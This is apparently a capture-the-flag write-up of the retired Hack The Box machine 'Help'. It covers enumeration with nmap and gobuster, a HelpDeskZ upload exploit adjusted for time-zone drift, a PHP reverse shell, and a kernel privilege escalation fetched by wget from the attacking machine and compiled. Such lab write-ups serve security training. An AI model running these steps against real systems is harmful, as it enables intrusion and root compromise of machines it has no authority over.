HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform. Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Help, is retired.
The walkthrough
Let’s start with this machine.
Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
The “Help” machine IP is 10.10.10.121.
We will adopt the same methodology of performing penetration testing as we have used in previous articles. Let’s start with enumeration in order to learn as much about the machine as possible.
As usual, let’s start with the Nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE] «nmap -sC -sV -oA Help 10.10.10.121»
We have 2 ports opened, 22 and 80. Let’s enumerate port 80.
Enumerating port 80 gives the Ubuntu page.
Let’s move forward and try to brute-force the directories. Using gobuster reveals a directory named “/support”, as shown below. «gobuster -u http://10.10.10.121 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30»
Enumerating this directory gives a nice support HelpDeskZ portal page.
Directly searching for any HelpDeskZ exploit found a hit which is related to a file upload chained with RCE.
It also looks like this exploit was available on Searchsploit. So we’ll copy that to the working directory.
Now let’s see what the exploit code actually is.
So it looks like file upload is required and the uploaded file gets processed. To retrieve the file, it gets appended with current time and then its MD5 is uploaded.
The first thing to note is that the current system time is being calculated, so we have to make sure that our attacking machine and victim machine are in same time format. Checking that, it was revealed that they are not. «date» «>curl -i http://10.10.10.121>
So we have to alter the exploit code to adjust that time zone difference. Below is another way to get the time zone format.
In the script, the current time is calculated like int(time.time), so that results in epoch.
We have to alter the exploit code to result in epoch as well.
Below is the final code to adjust the time zone difference and return the time to the expected format.
Now we need to upload the file. First, let’s grab the PHP shell and change it to include the attacking machine IP as shown below.
Now let’s upload the file. We fill in the required parameters and upload the file as below.
After submitting, it shows that the file is not allowed. However, the backend file is indeed uploaded.
We next run the exploit to see the file being uploaded in the last five minutes and provide the name of the file uploaded by us to match. «python 40300.py ‘http://10.10.10.121/support/uploads/tickets’ php-reverse-shell.php’»
The exploit was able to find that file and we got a reverse shell back.
We use enumerating to grab the user.txt file. «cat user.txt»
Let’s escalate to root shell now. Specifically, let’s enumerate the kernel version. «cat /etc/lsb-release» «uname -a»
Searching for this kernel version reveals a privilege escalation for it.
We now download the exploit and transfer it to the victim machine.
Executing the exploit, we get the root shell. «wget http://<attacking machine:8000/exploit.c»> «gcc exploit.c -o rootexp» «./rootexp»
Using enumerating to grab the root.txt file. «cat root.txt»
This box’s main goal is for researcher/pentesters to not blindly follow the exploit, but to understand the nitty-gritty details. We will continue this series with more such interesting and challenging machines.